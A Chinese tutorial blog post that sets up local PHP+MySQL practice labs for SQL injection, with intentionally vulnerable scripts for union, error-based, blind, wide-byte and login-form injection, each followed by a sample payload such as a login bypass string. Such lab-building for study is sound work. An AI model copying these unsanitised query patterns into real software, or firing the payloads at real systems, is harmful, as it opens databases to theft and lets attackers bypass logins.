前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >常见的sql注入环境搭建

常见的sql注入环境搭建

作者头像
Mirror王宇阳
发布2020-11-12 11:05:02
1.2K0
发布2020-11-12 11:05:02
举报
文章被收录于专栏:Mirror的技术成长

常见的sql注入环境搭建

By : Mirror王宇阳 Time:2020-01-06

PHP+MySQL摘要

代码语言:javascript
复制
	$conn = new mysqli('数据库服务器','username','password','database');
	$conn = mysqli_connect('数据库服务器','username','password','database');
	// 参数内容可以单独设置为一个变量引用
代码语言:javascript
复制
	$sql = "*****";//sql命令
	mysqli_query($conn,$sql);
	// 函数返回true/false
	$sql = "***1;";
	$sql .= "***2;";
	$sql .= "****;";//多条sql之间用分号间隔 
	mysqli_multi_query($conn,$sql);//执行多条sql
代码语言:javascript
复制
	mysqli_select_db(connect,db_name);//查询db_name库
	or die();//错误信息控制输出函数 die()会输出信息并退出当前脚本
	mysqli_error();//返回报错信息

常规回显注入

回显注入类型是指我们的查询内容会被应用回显到页面中;一般情况下回显注入回利用UNION联合函数来测试是否存在注入“ union select ……

代码语言:javascript
复制
<?php
echo '<h1>';
echo 'SQL常规回显注入环境';
echo '</h1>';

$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
   echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
   echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');

// 接收参数text
if(isset($_GET['text'])){
    $text=$_GET['text'];
}

// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回显结果	
	echo '<table>';
	echo '<tr>';
	echo '<td>UID</td><td>NAME</td><td>PASS</td>';
	echo '</tr><tr>';
    echo '<td>'.$row['uid'].'</td>';
    echo '<td>'.$row['name'].'</td>';
	echo '<td>'.$row['pass'].'</td>';
    echo '</tr>';
	echo '</table>';
}
?>
代码语言:javascript
复制
' union select 1,database(),version(),4; -- +

报错注入

报错注入类型是泛指应用页面不返回内容数据,无法从回显结果获得信息;但是一般应用都会保留SQL的查询报错mysqli_error() 通过“extractvalue UpdateXml foot”等函数来查询,但是无法查询到结果并会通过报错的方式返回结果。

代码语言:javascript
复制
<?php
echo '<h1>';
echo 'SQL报错注入环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
   echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
   echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');

if(isset($_GET['text'])){
    $text=$_GET['text'];// 接收参数text
}
    $sql  = "SELECT * FROM admin WHERE uid = '$text';";
	echo $sql."<hr>";
	$result = mysqli_query($conn,  $sql ) 
	or die( '<pre>' . mysqli_error($conn) . '</pre>');
	 //mysqli_error -- 返回最近调用函数的最后一个错误描述


	$row=mysqli_fetch_array($result, MYSQLI_BOTH);	
    if($row){
        echo '<table>';
        echo '<tr>';
        echo '<td>UID</td><td>NAME</td><td>PASS</td>';
        echo '</tr><tr>';
        echo '<td>'.$row['uid'].'</td>';
        echo '<td>'.$row['name'].'</td>';
        echo '<td>'.$row['pass'].'</td>';
        echo '</tr>';
        echo '</table>';
		
    }


?> 
代码语言:javascript
复制
' and updatexml(1,concat(0x7e,database(),0x7e,version()),1); -- +

盲注

盲注类型泛指无法利用回显测试等情况,进行的一种sql注入测试方法。

盲注主要分为两种:

  • 布尔盲注:通过判断页面响应确定是否正确的布尔sql拼接。
  • 时间盲注:通过sql查询的时间延迟sleep函数来测定构造的布尔sql是否成立。
代码语言:javascript
复制
<?php
echo '<h1>';
echo 'SQL常规盲注环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
   echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
   echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');

if(isset($_GET['text'])){
    $text=$_GET['text'];// 接收参数text
}
    $sql  = "SELECT * FROM admin WHERE uid = '$text';";
	echo $sql."<hr>";
	$result = mysqli_query($conn,  $sql ) ;

	$row=mysqli_fetch_array($result, MYSQLI_BOTH);	
    if($row){
		echo '查询结果存在!';
        // echo '查询完成';
    } else {
		echo '查询结果不存在!';
		// echo '查询完成';
	}
/*
	如上源码,当echo返回结果为第一类情况则适用布尔盲注的方法不断的猜结
	当echo返回结果为第二类情况则适用时间盲注,通过时间延迟的方式来判断布尔结果并不断的猜解
*/
?> 
  • 布尔盲注测试
代码语言:javascript
复制
' or left(database(),2)='te'; -- +
  • 时间盲注测试
代码语言:javascript
复制
if(ascii(substr(database(),1,1))='t',1,sleep(10)); -- +

宽字节注入

环境构造注意:该注入环境要求mysql数据库采用GBK编码;宽字节注入与HTML页面编码是无关的,即HTML页面是UTF-8编码,只要mysql是GBK都可以存在宽字节注入;

参考文章:PHP宽字节注入 浅谈对宽字节注入的认知

代码语言:javascript
复制
<?php
echo '<h1>';
echo 'SQL宽字节注入环境';
echo '</h1>';

$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
   echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
   echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names gbk');

// 接收参数text
if(isset($_GET['text'])){
    $text=$_GET['text'];
}

// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回显结果	
	echo '<table>';
	echo '<tr>';
	echo '<td>UID</td><td>NAME</td><td>PASS</td>';
	echo '</tr><tr>';
    echo '<td>'.$row['uid'].'</td>';
    echo '<td>'.$row['name'].'</td>';
	echo '<td>'.$row['pass'].'</td>';
    echo '</tr>';
	echo '</table>';
}
?>

登录框注入

登录框注入泛指sql直接无任何的过滤直接拼接用户名和密码来从数据库中直接查询结果并实现登录等系列功能;攻击者利用这一缺陷,直接构造一个sql之后可以越过密码的确认,也就是俗称的万能密码“admin '--+

代码语言:javascript
复制
<!DOCTYPE html>
<html>
	<head>
		<title>SQL_login注入测试</title>
		<meta charset="utf-8"/>
	</head>
	
	<body>
		<form action="./sql_login.php" method="post">
			<div>
				用户名:<input type="text" name="name" />
			</div>
			<div>
				密码:<input type="password" name="pass" />
			</div>
			<input type="submit" value="提交" />
		</form>
		<div>
			<?php
				$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
				if (!$conn){//判断连接是否成功
				   echo '连接MySQL发生错误:'.mysqli_error($conn);
				}else{
				   echo '成功连接MySQL!';
				}
				echo '<hr>';
				// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
				mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
				// mysqli_query() -- 执行sql命令
				// set names utf-8 -- 写入数据库采用的编码(utf-8)
				mysqli_query($conn, 'set names utf-8');
				
				// 接收参数name pass
				
				$name=$_POST['name'];
				$pass=$_POST['pass'];
				// echo $name . "~" . $pass;
				
				// 拼接sql语句并执行
				$sql="SELECT * FROM admin WHERE name='$name' and pass='$pass' LIMIT 0,1";
				echo 'SQL拼接结果:'.$sql;
				echo '<hr>';
				// 执行sql语句并返回结果
				if($result=mysqli_query($conn, $sql)){
					$row=mysqli_fetch_array($result, MYSQLI_BOTH);
					if ($row){ //回显结果	
						echo '<table>';
						echo '<tr>';
						echo '<td>UID</td><td>NAME</td><td>PASS</td>';
						echo '</tr><tr>';
						echo '<td>'.$row['uid'].'</td>';
						echo '<td>'.$row['name'].'</td>';
						echo '<td>'.$row['pass'].'</td>';
						echo '</tr>';
						echo '</table>';
					} else {
					echo "用户名或密码错误";
					}
				}
			?>
		</div>
	</body>
</html>
代码语言:javascript
复制
admin'; -- +
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-09 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 常见的sql注入环境搭建
    • PHP+MySQL摘要
      • 常规回显注入
        • 报错注入
          • 盲注
            • 宽字节注入
              • 登录框注入
              相关产品与服务
              云数据库 SQL Server
              腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档